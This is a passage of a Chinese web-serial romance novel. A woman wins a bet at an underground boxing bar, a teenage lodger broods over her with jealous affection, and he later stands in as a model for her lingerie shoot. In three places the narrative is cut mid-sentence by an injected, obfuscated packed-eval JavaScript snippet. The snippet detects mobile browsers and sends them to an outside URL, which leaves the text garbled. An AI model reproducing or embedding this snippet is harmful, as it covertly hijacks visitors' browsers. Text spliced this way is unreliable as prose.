男人自己也点了支烟,可这回轮到他的打火机突然罢工,打了两次也没打着。他低笑一声,声音里带着几分无奈:"礼尚往来?" “行啊。”谈丹青便将自己的烟凑过去。 两人距离瞬间重叠在一起,烟头相碰,她烟尾的一团火跃至了他的手指之间,若即若离。她甚至能看清他睫毛在灯光下投下的阴影。 “第一次来这儿?”魏繁星问她。 “对,你呢?” “魏总,您的酒。”这时酒保送来一杯红酒。 谈丹青说:“老板?” “股东,”男人直截了当地承认了身份,“偶尔来盯盯场子。” 谈丹青忽地笑了,说:“哦,那你这儿挺没意思啊。” “那是你没玩对。”男人也笑。 “什么意思?” 男人示意酒保取来今晚的花名册。 纸页上赫然印着:LeovsGoat “怎么玩?”谈丹青好奇地问。 "在这张卡上押你看好的选手。"他修长的手指点了点空白处,"赢了按赔率拿钱。" 原来明面上的拳赛只是幌子,暗地里早开了盘口。 谈丹青扫了一眼名册,只认识一个名字:“leo”。 听说他很强。 笔尖刚要落下,魏繁星忽然出声。 “leo?”男人不大认可地摇了摇头,在玻璃烟灰缸里弹下烟灰,说:“他?他不行,才19,太年轻了。拳击虽然吃体力,但更吃经验。Goat现在才是巅峰期。押他等于扔钱。” 谈丹青感觉魏繁星这个人的控制欲很强,她自由惯了,总不喜被人操控。魏繁星越不让她押“leo”,她反而越想押。 “年轻有什么不好?”谈丹青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547425|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑衅地扬唇笑,说:“初生牛犊不怕虎,年轻人才是希望。” 她在“leo”上押了三千块,按照一比三赔率,如果Leo能打赢,她今晚就能赚九千块。 这时一声尖锐的哨音拉开序幕。 “怎么了怎么了?”谈丹青好奇地张望。 大厅迸发出一阵激烈浪潮般的呐喊。 众人狂热地大喊“leo”的名字。 “Leo!Leo!Leo!” 八角笼外围人实在太多,谈丹青挤不进去,只远远看见选手在通道口投下一道修长的剪影,黑色背心被汗水浸透,紧贴在绷紧的背部肌肉上。人群的欢呼声还在继续,但他的身影已经消失在走廊拐角。 “结果出来了,”有观众告诉她。 “谁赢了?”谈丹青问。 “Leo。” “哈!”谈丹青都懵了。 这么快就白赚九千??? 当酒保给她一叠钞票的时候,谈丹青还有点懵。 她乐滋滋地数钱,魏繁星看着她,含笑着摇了摇头,对酒保说:“她拿的这九千块钱,不会是我刚刚押的吧?” 酒保:“是……” 魏繁星扬眉,也无奈地笑了笑。他冲谈丹青举起了酒杯,“祝贺了。” 谈丹青眉开眼笑。 “还觉得这地方不好玩吗?”魏繁星又问。 即便白拿了九千块,谈丹青依然坚持自己的感受,“不好玩。” “为什么?”魏繁星有些讶然,“世界上应该没有比现在这种来钱更快的方式吧?” “正因为如此,所以我才不喜欢,”谈丹青说:“阈值太高啦。习惯了来钱这么快,就再也忍受不了一分一厘慢慢积攒的过程,” “但我啊,”她顿了顿,眼胜繁星,朝他张开了自己的手,“偏偏就喜欢那种踏踏实实的,能攥在手心里的感觉。” 男人望着她,默了一瞬。 “你叫什么?”他吸了口烟,忽地开口:“加个wx?” 谈丹青红唇微勾:"手机落车里了。" 她晃了晃夹着烟的手指,说:"要不你说号码?" 这年头,不带脑子都不可能不带手机。 可谈青彤就是这样的脾气,主动权永远要掌握在自己手里。 让她傻乎乎地给出自己的联系方式,然后守在手机前等回音。 那是绝无可能的事。 男人似笑非笑地看了她一眼,了然她的心中的小九九,但依然从怀里掏出一张名片,然后在名片背后,写下了自己的手机号,地给了他,“这是我的手机号,wx也是这个。” “哦,”谈青彤接过名片,在指尖转了个圈,念出声:“繁星科技公司ceo,魏繁星。” “没听过诶,”谈丹青真不知道这家公司,拿着名片在耳畔扇风。 那男人没恼,吐出一口烟圈,淡声说:“嗯,无名小卒。” * 谈丹青一到家就将高跟鞋踢了,晕乎乎地倒在沙发上。今晚的酒后劲有点大,刚才在外面再晕也要打起精神,现在终于回到了自己熟悉的环境,自然松懈下来。 窗户上的白帆布随着夜风飘,吹开的时候落进月光,风停的时候一团黑暗,那似有若无的一缕光,转得她头痛欲裂。 她听到有人出来,以为是谈小白,皱着眉嘀咕了一句:“几点了,还不滚回去睡觉。” 那人却在她身后没动。 大半夜,一个人一言不发地站在背后盯着自己,也是怪渗人。 过了半晌,就听见绪东阳开口:“你喝醉了。” 10. 第 10 章 绪东阳从阴影里走出来,径直走到了她眼前。 谈丹青脑子有些晕,看人也是模糊的。 少年的脸年轻、英俊。 那双黑黢黢的锐利的眼睛,总是神采奕奕,什么也不肯放过,闪耀着不可言说的幽暗的秘密,仿佛一汪神秘洞穴的入口,纵使知道它可能通险处,也抗拒不了危险的吸引力。 “是你啊?”谈丹青用手背盖着眼皮,问:“小白呢?” 绪东阳往厨房走,背对着她回答,“睡了。” 他从储物柜里拿出蜂蜜和红糖,又用热水壶接了水,等着水开。 “你怎么不睡?” “不困。” 谈丹青喝醉了酒,又生了一肚子气,现在非要抓个人捉弄一番才好。 “喂,绪东阳。”她故意叫了绪东阳一声。 “嗯?”绪东阳在厨房答应她。 “你过来。”谈丹青喊他。 水尚未烧开,绪东阳只得先出来。 只见谈丹青正襟危坐在沙发上,环抱的双臂在胸前勒出柔软的弧。她仰着脸,抬着精致小巧的下颌,拿黑润润的眼睛睨他。 因醉了酒,这双动人的眼睛上泛着潋滟的水雾,瀛瀛溶溶,又娇憨,又妩媚。 “你住我家这么多天,我怎么没听你叫过我一声姐啊?”谈丹青冲他发难。 绪东阳怔了怔,嘴唇无声蠕动,沉默得像一道透明的墙。 “过来,”她忽地身体朝他倾,摇摇欲坠。 绪东阳下意识抬手去扶。掌心触到的肩胛骨,那纤细的肩仿佛没有骨头,像一片振翅欲飞的蝶,轻轻地在他掌心下颤。从这只手开始,他大半边的身体开始发僵、发麻,顺着血管烧遍了他的全身。 她的脸近在咫尺,与他呼吸交错。 浓密地眼睫轻轻眨着眼,她还不依不饶,醉醺醺地拖长音调:“叫啊,快叫,叫——姐——姐——” 绪东阳颌线骤然收紧,嘴唇绷成了一条直直的倔强的缝。 从谈丹青嘴里吐出来的轻飘飘的两个字,赌上的却是他的尊严。 他宁可咬碎牙齿也不会说出口,说什么也不会。 “谈丹青。”他一字一顿地念了一声她名字,“你醉了。” “我才没有,喝这么点酒就醉的人,是小垃圾,”谈丹青晃着脑袋,发丝扫过他手腕内侧。 目光突然定格在他垂在身侧,紧攥成拳的右手。 指节上绷带松散,新鲜的血痕若隐若现。 谈丹青顿时拧住了眉,诘问:“你手拿给我看看,怎么又是这个位置受伤?” 绪东阳没说话。 手背指节上白色绷带脱落,露出今晚新添的伤口。 谈丹青歪歪斜斜地从茶几下搬出医药箱,拿出创可贴、云南白药和碘酒棉球。 绪东阳的胸口一紧,死死瞪着谈丹青忙忙碌碌的指尖。 她身上散发出的淡淡烟酒气息里,他从中又嗅到了那天阳光照耀紫藤花叶片的味道。 当时困扰着他的疑问,似乎此时此刻或许就要得到答案。 伤口处的血痂似乎在因为兴奋而充血泛红。 然而,谈丹青拿着创口贴的手,却在即将碰到他的时候停了下来。 只差一点点…… 绪东阳瞪着他们手指之间的距离,指尖颤抖。 食指和中指做出走路的手势,想朝谈丹青迈去。 指尖忽地从他的眼前抽走。 谈丹青将手里的东西放下,关上药箱。 “平时要小心一点呀,”谈丹青说,“我小弟可不能总挂彩。” 厨房突然传来水壶烧开水尖锐的哨音,谈丹青被吵得皱了皱眉,揉着太阳穴说:“你帮我倒杯水吧。” “好。” 绪东阳起身去厨房,这会儿水终于开了。 他先用热水冲开蜂蜜和红糖,然后再加入凉水降温。 等他端着水折回来时,谈丹青已经在沙发上睡着了。 白色光点笼在谈丹青身上。 她正睡得很安静。 他悄无声息地走了过去,将水放在茶几上。 水杯发出声音。 谈丹青还没醒。 屋里突然变得好安静,静到只有他一个人的响亮的呼吸声在来回叫嚣。 绪东阳在谈丹青面前躬下腰,然后缓缓半跪下,像个虔诚的守夜人。 他俯身。 凑近了些。 用全部的身心,来凝望这张脸。 世界上漂亮的人很多,但每个人的喜好却绝不相同。有的喜欢圆润的脸,要圆如满月,有的则偏爱下颌窄小的长相,娇俏可人。每个人对每张脸感受不同,对每个人的好恶也就不同。这其中的缘由,说不清,道不明。 对绪东阳来说,谈丹青刚好有一张,让他喜欢注视的脸。 溶溶月色为谈丹青镀上一层莹润的光晕,她静卧其间,恍若一块温润生辉的羊脂美玉。 圆润的脸庞上,眼形偏圆,双颊饱满,但鼻梁却比大部分女孩要挺直,从眉心而下,划出一道流畅利落的线条,于是给这张脸增添了两分的锋芒,三分倔强。 这便是她身上最令人着迷的巧妙之处。温柔和倔强融合了在一起,像一把散发着柔光的宝剑,寒霜泠泠的刀刃永远朝前,因为一心想要保护她身边所爱的人。 “混蛋玩意儿。”淡色的单薄的嘴唇颤抖着发出模糊不清的梦呓。 他不由自主地俯下身,侧耳去听她在梦中说些什么。 “狗东西。” “混蛋玩意儿。” “拿钱砸死你们……” 她为了钱不能掀酒桌子,只能在梦里不轻不重地唾骂两句,以平心头之恨。 绪东阳想伸出手,指尖悬停在她眉间,想要抚平那抹浅蹙的纹。 但这只手最终凝滞在半空中,迟迟没有落下。 她睡得太安静,太不设防,连呼吸都轻柔得像一片落雪。 他在这个时候肆意触碰她,便是趁人之危。是他无法宽恕自己的僭越。 他默默无声地凝视了片刻,然后站起身,敲响了谈小白的门,“谈小白。” “嗯?几点了?到底干嘛啊?”谈小白哈欠连天地出来。 “谈丹青睡客厅了,你抱她回卧室。”绪东阳说。 “啊,哦,好好好……”谈小白忙去把他姐姐弄去房间睡觉。 他将谈丹青安顿好后,又挠了挠脑袋。 他总觉得,刚才绪东阳叫他时候似乎有哪里不对劲。 刚刚绪东阳叫谈丹青什么来着? 绪东阳正准备回房,却在客厅茶几上看到谈丹青落下的贝壳手提包。小包侧倒,里面的钱、口红、车钥匙散落满桌。 他将这些零碎的小东西收拾起来,意外看到了一张名片—— 魏繁星。 这个名字立刻刺痛了他的神经。 今晚和谈丹青在一起的男人,是不是就是他? 他上网搜索关于这个男人的所有资料。 魏繁星。 标准二代。 矜贵公子哥,吃着祖荫,每一步都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569645|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正正好踏对风口,名下产业遍布各行各业,投资眼光精准得令人咋舌。娱乐自媒体尤其爱他,关于他的那些百花丛中过片叶不沾身的绯闻,不胜枚举。 更重要的是,他今年二十九。 比他大了整整十岁。 世界上可能有许多东西人力可以改变,比如架桥建楼,登月摘星。可 有的东西,却永远永远不可能改变——比如时间。 可能若干年后,他也能成为和魏繁星比肩、甚至超越过他的人。但是此时此刻,他们之间横亘的年岁,像一道永远无法收缩的鸿沟。他无论怎么做,无论如何奋力奔跑,他也绝追不上光的速度,磨平不掉他和谈丹青、魏繁星之间相差的时间。 这种无力感啃噬着绪东阳的心脏—— 像钝刀割肉,痛得清醒,嫉妒得发狂。 这时谈小白从谈丹青房间里出来,见绪东阳仍独自陷在沙发深处,半边脸浸在阴影中。 空气像是凝固了,沉甸甸地压着人的呼吸。 “喂,你干嘛呢?”谈小白打着哈欠问。 “你认识魏繁星这个人吗?”绪东阳撩起眼皮,冷冷地问他。 “谁?” “魏繁星。” “什么魏?” “魏繁星。” “什么繁?” “魏繁星。” “什么星?” “魏繁星。” 绪东阳不厌其烦地回答这个名字。 好像每念一次,就是咀嚼一次他的骨头。 “不认识啊,谁啊?” 绪东阳没说话。 谈小白哈欠连天,“你到底在这儿叽里咕噜说啥呢?作业借我抄,然后白给我两百块,我要买汉堡。” 绪东阳继续盯着手机发呆。 “绪东阳,你睡着了啊?”谈小白说。 “你姐……”绪东阳的唇张张合合。 “嗯?” “你姐为什么到现在还没男朋友?”他问。 “嗨,你说这个啊,”谈小白在绪东阳旁边坐下,将他刚刚倒给谈丹青的蜂蜜红糖水给喝了,好喝得眼睛都眯了起来,“她想谈肯定随时都能谈啊,只是家里这条件,谈不成啊。” “为什么?”绪东阳问。 “那些男的吧,嘁,鸡贼得很呢!都只想跟我姐谈恋爱,但不想负责人,不想跟我姐结婚。” “为什么?” “就我们家这个情况啊,”谈小白说:“父母帮衬不了,还有个拖油瓶弟弟,我姐工作也不是旱涝保收的公.务员,就做点不稳定的小生意,现在看着红红火火,但谁知道明天会怎么样?所以那些人啊,呵呵,一摸清楚情况,那跑得,跟坐火箭筒似的,往天上蹿!” 谈小白言辞闪烁:“其实前几年,有一个还行的。后来……草,反正后来发生了点事,闹得很不愉快。所以就这么蹉跎,蹉跎到现在。” 绪东阳静静地听完,后牙槽无意识地紧紧得咬合在了一起,让下颌骨都微微有些发痛了。 印着“魏繁星”烫金字的卡纸在掌心揉烂。 他像个阴暗的窃贼,偷偷窥探谈丹青的过去,想弄清楚她生命里出现过多少男人。 如果她真的有过很多个男人,那么卑劣的生理本能,会让他饱受嫉妒之火的折磨。 可是,当他得知谈丹青并没有得到过幸福,他不仅没有在这场雄竞中胜出的忄夬感,反而加倍愤怒。 凭什么? 她这样好。 为什么没有被人捧在掌心,为什么没有被视若珍宝? 11. 第 11 章 * 翌日醒来时,谈丹青头痛欲裂。 翌日清晨,谈丹青是被一阵尖锐的头痛惊醒的。 她撑着床沿缓缓坐起,太阳穴突突直跳。昨晚的记忆在踏入家门的那一刻就断片了,但她并不太担心——她向来酒品极佳,喝醉后只会安安静静地倒头就睡,那些撒泼打滚、借酒装疯的戏码与她绝缘。 空荡荡的胃部传来抗议的绞痛。昨晚只顾着喝酒,只草草吃了两口面,此刻她饿得眼前发黑。 拖着踉踉跄跄的脚步晃进厨房,就撞见绪东阳正在煮面。 听见动静,绪东阳回头看她,这双琥珀色的瞳孔安静地和她撞在一起,谈丹青突然后背一凉。 “叫,姐姐!” 她立刻听到了自己的声音在脑海里回响。 谈丹青一时有些汗流浃背。如果这只是她做梦还好,但要是昨晚她真的因为醉酒对他说这种话,那她跟周礼那帮拉着会馆公主撒酒疯的男人们就没有任何区别。 太欺负人家小孩儿了。 她咳了一声,清清嗓子,说:“那个,我昨晚喝多了啊。” “嗯。”绪东阳似乎没不高兴,将平底锅里煎蛋倒在她面前的白瓷托盘上。 她家没有煎鸡蛋的模具,这鸡蛋不知道绪东阳是怎么煎的,金黄的蛋液凝固成完美的圆形,边缘泛着诱人的焦脆,细小的油泡还在滋滋作响。 鸡蛋的香味直钻谈丹青的鼻尖,谈丹青再顾不得深究昨晚的尴尬,埋头就吃鸡蛋和汤面。 “你经常这么喝酒?”绪东阳问。 “还好,”谈丹青咽下香喷喷的鸡蛋,说:“成年人的世界是这样的,你以后就知道啦。” “五岁。”绪东阳开口道。 “什么?” “你只比我大五岁。” “哈,”谈丹青笑着用筷子夹起一大只鸡蛋,说:“别小看这五年,这中间差可大了!” 小半碗早餐下腹,这时谈小白耷拉着脑袋从房间出来,打着哈欠说:“还有没有我的啊?快饿死了。” 他伸手就抢谈丹青碗里剩的一枚煎蛋。 绪东阳又另递了他一盘,说:“你吃这碗。” “谢谢谢谢。”谈小白开始大快朵颐。 谈丹青对谈小白说:“今天你跟我去公司一趟。这两天上新,发货人手不够。” “好啊。”谈小白当惯了谈丹青的免费劳动力,答应得干脆。 “我周末也有空。”绪东阳说突然开口。 谈丹青扭头看他,解释道:“不是去玩的,是去干活,而且是体力活。” “我能干体力活。”绪东阳说。 谈小白也为绪东阳说话:“姐,你就让绪东阳一起去呗。也就一天,耽误不了什么学习,他还能赚点钱。” 谈丹青想了想,绪东阳这样借住在别人家,手上没钱,肯定处处仰人鼻息,能有机会抽空赚点钱,也是好的。 而且就绪东阳这体格,肯定比谈小白还好奴役,她手上实在太缺人,多一个劳动力,自然求之不得。 “行,”谈丹青拍了板:“我这边也实在缺人,你就跟我们一起过去,工钱按日薪结,一天一百。” 工厂大门前,清晨阳光从塑料顶棚的裂缝中落下,照得空气中金粉飞舞。一辆运货叉车正“突突”发动,准备运送今天的第一批货物。 谈丹青带着谈小白和绪东阳穿过嘎吱作响的铁皮门。 “小谈姐早啊,”胡小样和小林、小张正在货架之间蹿来蹿去,伴随着"刺啦刺啦"的胶带撕扯声,麻利地往货物上贴条形码。 谈丹青笑着点头:“早。” 谈小白是熟练工,一到现场便自觉脱了外套,过去帮忙扛大箱子。 谈丹青带着绪东阳认门认路,“这边是发货区,那边是仓库,再前面一间是直播室。”她看了看表,说:“今天早上没有直播,不过有个拍摄任务。” 待两人走远,胡小样他们立刻像发现新大陆的小麻雀,脑袋扎在一起:“看到刚刚跟在小谈姐后面的那男生了吗?是谁啊?这长得也太帅了吧!惨绝人寰的那种……” “是小谈姐的弟弟吧?” “不是不是,”另一名同事“吱呀”一声拖了把凳子凑过来,“小谈姐的弟弟我见过,不是他。” “小谈姐的弟弟帅不帅啊?” “你这不是废话么?小谈姐自己长成她那样子,她弟弟当然也好看。” “不过小谈姐的弟弟是那种,有点奶,有点傻的帅哥,这个帅哥是……”胡小样在脑内搜索了一圈词,硬是找不到合适的。 “想睡……”有人一针见血。 “对对对!就是这种感觉!”其他人立刻像小鸡啄米一样连连点头。 * 今天是绪东阳一天来,谈丹青没给他安排太麻烦的工作,让他先帮着整理最近三个月的退货。 成排的衣架上挂满了各式女士内衣——蕾丝边的、缎面光滑的、蝴蝶结装饰的,见到满屋子各种款式各种型号女士内衣,绪东阳的脸色难免发生了一些微妙的变化。 目光下意识避开那些柔软的布料,喉结不明显地滚动,耳廓诚实地泛了红。 见绪东阳将嘴唇紧紧地抿在了一起,两眼看着地面,谈丹青不觉有些好笑,说:“第一次见女士内衣?你也别不好意思,这没什么。” “不是。”绪东阳回答,声音却比平时低了一度。 “也是。”谈丹青笑笑。像绪东阳这种男生,也不该到现在还什么都没见过。 绪东阳意识到谈丹青会错了意。 他想解释,却无从说起,似乎接着说任何话。 “先做着吧,”谈丹青说:“慢慢就习惯了。” “嗯。”他开始学着整理货架,将退货进行分类、登记。看着他指尖与绸缎接触时甚至带着几分不合常理的谨慎,谈丹青忍不住有些想笑,莫名觉得这画面有种诡异的可爱。 安顿好绪东阳,谈丹青回到自己的办公室。她还没坐下,郑芳就踩着她的最新款高跟鞋,一阵风似的卷了进来。 “好哇好哇!”郑芳双手叉腰,红唇翘得能挂油壶,不依不饶地说:“今天这个,就是你那‘借住在家里的弟弟’?还骗人说是丑八怪呢!胡小样他们拍的照片,都传我这儿来了。” 郑芳掏出手机在谈丹青眼前晃了晃,屏幕上赫然是绪东阳搬大箱子的侧影。 谈丹青哭笑不得,说:“我就是怕你这样……而且,我也没说他丑……” “这不重要!”郑芳眼睛都瞪圆了,“我能误会什么?我还不知道你?除了赚钱和公司,你心,无,旁,骛。” 谈丹青被逗笑了,说:“还是你了解我。” “算啦算啦,”郑芳大度的摆摆手,硕大的银圈耳环叮当响,“看在我已经有小奶狗的份上,放你一马。” 她叹了口气,说:“小谈老板啊,你定力也太强了,是戒过毒吗?这么帅的小奶狗每天在你面前祈求怜爱,你居然都能不为所动……哎!” 谈丹青一口咖啡差点喷出来,说:“他还小奶狗。你是没见他第一天就把谈小白脑袋开瓢的样子。” “哈!”郑芳说:“他打过谈小白?那这是世仇啊……” “是啊,”谈丹青放下咖啡杯,指尖缓缓摩挲着杯柄,若有所思地顿了顿,“不过,他在我这儿住了几天,几天相处下来,看得出这小孩其实本性不坏。可能就是家里没人管,他自己也轴,硬把路给走弯了。” 谈丹青说完,发觉郑芳正用一种古怪的眼神盯着她。 谈丹青:“?” 郑芳夸张地用两只手遮眼睛,感慨:“你身上的圣光都快把我眼睛给闪瞎了。” * 画设计图、发货、盘点库存、复盘直播数据,谈丹青一直忙碌到中午方才得以喘息。她看了看时间,已经十一点了,这才想起了绪东阳,不知他那边怎么样。 她下楼去仓库找他,成排的货架间,混合着纸箱油墨和尘土的闷热空气,绪东阳正弯腰清点最后一批货物。 听到脚步声,他直起身转过头。脸上出了些汗,发梢也是湿漉漉的。他皮肤白,脸上越出汗,反而显得更白,看起来像是透明一样,越发衬得眼瞳如点墨般漆黑。 “今天感觉怎么样?”谈丹青递去他一瓶水,“累不累?” 绪东阳接过水,灼热的手指不经意擦过她的手腕。他仰头灌水时喉结急促,一口就将水瓶喝空了一大半。 “不累。”他答,声音里还带着喘息。 谈丹青见状,眉头不自觉地蹙起,说:“你别以为体力活和健身一样,铆着劲儿练。体力活伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569646|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰,你现在不觉得,明天就知道了。” 目光扫过绪东阳因搬运货物而蹭脏的袖口,谈丹青下意识抬起手。 谈小白小时候也这样,像只撒欢的小狗儿,刚在雨后的水洼里扑腾完,就顶着满身斑驳的泥点子往她膝头蹭。 她刚拍在绪东阳的袖口,便立刻感觉到布料下的手臂肌肉瞬间绷得很紧,紧过了头,像一块硬邦邦的石头。 谈丹青这才意识到绪东阳毕竟不是她亲弟,收回去手,转而从口袋里掏出一包纸巾,递了过去,“擦擦,脏死了,满头都是汗。” 绪东阳没应声,只是抬手蹭了下鼻尖,指节上沾了道灰痕。 谈丹青瞥见,眉梢皱得更深,“越蹭越脏,不是给你纸了吗?” 绪东阳这才默不作声地低头将纸巾接了过去,拆开包装,抽出一张,盖在额头上,白纸的一角立刻化在水渍里,遮住黑洞洞的眼睛。 被谈丹青刚刚拍过的地方。 好像还在烧。 “小谈姐。”这时胡小样急匆匆地跑了过来,看到谈丹青身边的绪东阳,还是忍不住冒了冒星星眼。 但这星星眼只闪烁了一下,就立马心如死灰。 “小谈姐,郑芳姐那边请你赶快过去。”她吞吞吐吐道。 谈丹青和绪东阳赶去直播室,就听见郑芳大声说:“这节骨眼跟我说不能来?” “谁不能来了?”谈丹青走进直播室问。 直播室今早已改造成摄影棚,立好了大灯和幕布。 “今天的男模特!”郑芳火冒三丈。 谈丹青转眼看向胡小样,胡小样立马解释:“他,他经纪公司刚来电话,说他打玻尿酸中毒了,现在脸完全不能看,肿成发面大馒头,”她的声音越来越小,“实在是来不了……但违约金会赔给我们。” “这是违约金的事吗?”郑芳气得将平板重重往桌上一甩,两手摊开,说:“营销推广的方案早就定了,各大时间节点都定好了,平台的推广位定金也付了,现在摄影师都到了,这是赔几个钱能解决的吗?” “还拍吗?”丁晞珍抱着摄像机镜头走过来。她刚在非洲拍了兽群迁徙,拿下了国际摄影金。 非洲的阳光将她原本雪白的皮肤照成迷人的蜜糖色,乌黑的头发用一只金色发夹高高盘起,穿着宽松的亚麻T恤和牛仔裤,整个人看起来神采奕奕。 这一趟能请到丁晞珍来,完全是靠谈丹青的私人交情。丁晞珍的男朋友裴航之今天休假,也过来陪女朋友。正坐在后面的长椅上,逗他们同事的小孩儿玩。 谈丹青眉梢微微一紧,但转瞬又舒展开来,像被风吹皱的湖面又归于平静。 现在的情况,闹情绪、发脾气,统统没用。 当务之急,是寻找解决办法。 “三条腿的蛤蟆难找,一个男人还不好找?扔块砖头出去,就不知道能砸到多少。”谈丹青一锤定音,抬手随意一指,就指到了正在休息的谈小白,“谈小白,你来拍。” “啊?”谈小白震惊地指着自己的鼻尖,“我……我啊?” “对,就你了。”谈丹青算盘打得啪啪响。请男模特要花钱,谈小白自己人,连钱都不用给,一本万利。 谈小白被满屋子大姐姐注视着,尴尬得摸了摸头,说:“我知道我长挺帅的,但是,但是……这是内衣广告啊……” 郑芳第一个没忍住,噗嗤笑了一声。 谈小白不依了,冲谈丹青撒娇,“姐,你看啊,她们都笑我……” 然而,此举只让大家笑得更大声了。 丁晞珍也笑,说:“丹青,你弟弟是个小帅哥,但气质的确跟你们内衣广告的调性不太符。你们这次的风格,比较狂野,最好用气质也狂野一点,渣苏渣苏的那种。” 丁晞珍一提到“野”,谈丹青脑海里第一个闪过的人,就是绪东阳。 眼下似乎再也找不到第二个,比绪东阳更符合“渣苏”气质的男模特。他只用站在那里,甚至不用露出整张脸,半张脸就好,仅仅露到下颌线,就有足够的说服力,让人相信他能单手将内衣扣解开。 和谈丹青想到一起去的,还有丁晞珍。 她看人非常准,什么长相适合什么风格,她扫一眼就门清。 她开门见山地直接问谈丹青,“你男朋友愿意拍吗?” 12. 第 12 章 谈丹青闻言微一怔,眼睫微抬,视线在绪东阳脸上轻扫而过。 绪东阳仍是那副疏淡的模样,眼里既无恼意,但也懒得辩驳。 “这哪儿跟哪儿啊,”谈丹青笑着将话头接了过去,“他是我弟弟的同学。” 丁晞珍“啊”了一声,眉毛微微扬起。 她向来以敏锐的观察力自傲,即便对方面无表情,她也能从微妙的面部肌理变化中捕捉到微妙的情绪。如果没有这份敏锐,不可能拍出动人的照片。 “不好意思啊,”丁晞珍摆了摆手,说:“我今天自己带着男朋友过来了,就以为你们都这样。” 今天的拍摄任务实在推迟不得,郑芳索性省去了铺垫,开门见山道:“小绪,这个忙你愿不愿意帮?虽然要出镜,但有我们丁大摄影师掌镜,”她朝丁晞珍偏了偏头,说:“肯定能把你拍得很帅。” “行。”绪东阳下颌微不可察地一点。 十分钟后,绪东阳在员工休息室快速冲了个澡,然后去更衣室挑衣服。 男模特拍内裤广告,有一件非常尴尬的事—— 有的男模特某个部位的大小不达标,拍出来很平不好看,需要往里面塞东西垫起来。 所以绪东阳换衣服的时候,胡小样悄悄过来问谈丹青,“他需要垫一下吗?” 这个问题太尴尬了,而且绪东阳只是来救火,再折腾下去也有点不近人情。谈丹青想了想,说:“算了,实在不行,就p吧……” 话音刚落,绪东阳已经换好装出来。谈丹青正好站在推拉门前,猝不及防地和绪东阳撞了个正着。她往后退,后背抵上货物架。架子上一连四个空纸盒全砸了下来。 “小心!”绪东阳瞬间伸手去护她的头顶,手撑在她耳侧的货架上,小臂肌肉因突然发力而绷紧,呼吸时带起的气流拂动她耳畔的碎发,两人之间突然缩短的距离让谈丹青能清晰闻到他身上未散尽的水汽的清冽的味道。 四只空纸箱全砸在了绪东阳手背上,发出咚咚一连串的闷响。 谈丹青回过神,忙问:“你手没事吧?” “没。”绪东阳直起身,“砸到你了吗?” “没有,”谈丹青说,“幸好箱子里没装东西。” 虽然绪东阳站直了,但她后背抵着货架,似乎还停滞在他的气息里。她定了定神,重新调整呼吸,和绪东阳一起将纸盒子捡起来重新放好,眼角的余光才瞥清绪东阳换好的衣服。 今天要拍的第一套,是黑色丝绸系列款。 作为女装背景板,谈丹青在男士着装上并没有花什么心思,只是件随手挑了一件基础款。但绪东阳却将这身衣服的味道穿了出来。 他的身材是典型的衣架子,肌肉饱满但不夸张,线条流畅,有一种带韵律的美感,标准薄肌帅哥。丝滑布料贴着这具矫健的体魄,随着呼吸微微起伏,形成微妙的光影变化。 卖衣服如何让客户一眼相中有购买欲?那就需要有氛围感、代入感,让买家在浏览网页时一看到,就能感受到这件衣服想要表达的感觉。 想要衬托出内衣的精致迷人,作为背景板的男模特,就一定要身形高大成熟威猛,最好刚刚将女生抱在怀中,这样就能营造出一种被呵护、捧在手心里的感觉。绪东阳除了年龄小,整个人的气质都很成熟原始,荷尔蒙满满,可以想象待会儿和女模特搭档在一起,画面会多有冲击力。 可绪东阳就是个直男,没什么审美,衣服往身上一套就完事。 有时候同样一身衣服好不好看,区别就是在细节,像睡衣的黑色丝绸腰带,最好两边长短不一样,这样才比较有美感。 她抬手理了理绪东阳睡衣两侧的系带,将短的那一头拉出来,说:“今天有20套要拍,镜头主要拍的是女模特,你不用紧张。”谈丹青说。 “嗯。” 开拍前,绪东阳又原地做了几组俯卧撑,短时间的肌肉迅速充血,会让手臂线条显更明显。 待会儿要和绪东阳一起拍摄的女模特走进摄影棚,眼睛倏地一亮,笑着说:“天哪,怎么没人跟我说,今天跟这么帅的弟弟一起拍啊!” 见到准备好的绪东阳,一直心神不宁的郑芳也算是松了口气,说:“我本来担心小绪太年轻,没霸总气质,衣服撑不起来,不过现在看,他穿得还蛮好看的。” 丁晞珍抱起镜头,对着绪东阳咔嚓咔嚓拍了几张。她低头检视着屏幕,嘴角扬起低头屏幕,说:“其实这种风格,还真就要绪东阳这个年纪来。真找个年纪大的,反而拍不出年上感,老登味太重。” “小月,”丁晞珍微调了一下几处光源,说:“你站这个位置,绪东阳站这儿。” 